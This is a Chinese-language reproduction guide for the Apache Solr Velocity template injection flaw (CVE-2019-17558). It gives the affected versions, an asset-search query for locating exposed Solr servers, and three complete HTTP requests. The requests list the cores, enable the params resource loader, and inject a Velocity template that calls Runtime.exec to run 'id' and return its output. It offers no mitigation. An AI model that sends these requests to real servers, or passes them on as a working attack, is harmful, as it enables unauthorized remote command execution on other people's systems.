# Apache Solr Velocity模版注入远程命令执行漏洞（CVE-2019-17558）

# 一、漏洞简介
`Apache Solr`是`Apache Lucene`项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成以及富文本的处理。`Apache Solr`存在模版注入漏洞。攻击者通过未授权访问`Solr`服务器，发送特定的数据包开启`params.resource.loader.enabled`,而后get访问接口导致远程命令执行漏洞

## 二、影响版本
+ `Apache Solr 5.0.0~8.3.1`

# 三、资产测绘
+ hunter`app.name="Solr"`
+ 登录页面

![1693661111137-6bda495c-39b5-4f89-b54a-8fda4d74b3fd.png](./img/-2GTgOX_-wpT2ukM/1693661111137-6bda495c-39b5-4f89-b54a-8fda4d74b3fd-916775.png)

# 四、漏洞复现
1. 默认情况下`params.resource.loader.enabled`配置未打开，无法使用自定义模版，可以通过api获取所有核心core

```java
GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

![1693661185287-f2301704-3803-452d-8ba5-0db27d594d85.png](./img/-2GTgOX_-wpT2ukM/1693661185287-f2301704-3803-452d-8ba5-0db27d594d85-040330.png)

2. 启用配置`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称

```java
POST /solr/class/config HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
```

![1693661211872-b2d5c27e-f9c2-425f-be37-517c12f54277.png](./img/-2GTgOX_-wpT2ukM/1693661211872-b2d5c27e-f9c2-425f-be37-517c12f54277-144560.png)

3. 查询`params.resource.loader.enabled`是否开启

![1693661505022-777ef604-c59f-4e9e-a649-8f14934e807f.png](./img/-2GTgOX_-wpT2ukM/1693661505022-777ef604-c59f-4e9e-a649-8f14934e807f-351305.png)

4. 通过注入Velocity模板即可执行任意命令

```java
GET /solr/class/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

![1693661647398-287f7ec3-998e-4681-920d-77ea1cd545df.png](./img/-2GTgOX_-wpT2ukM/1693661647398-287f7ec3-998e-4681-920d-77ea1cd545df-570598.png)



> 更新: 2024-02-29 23:57:33  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/enyp0cmgiol1otx3>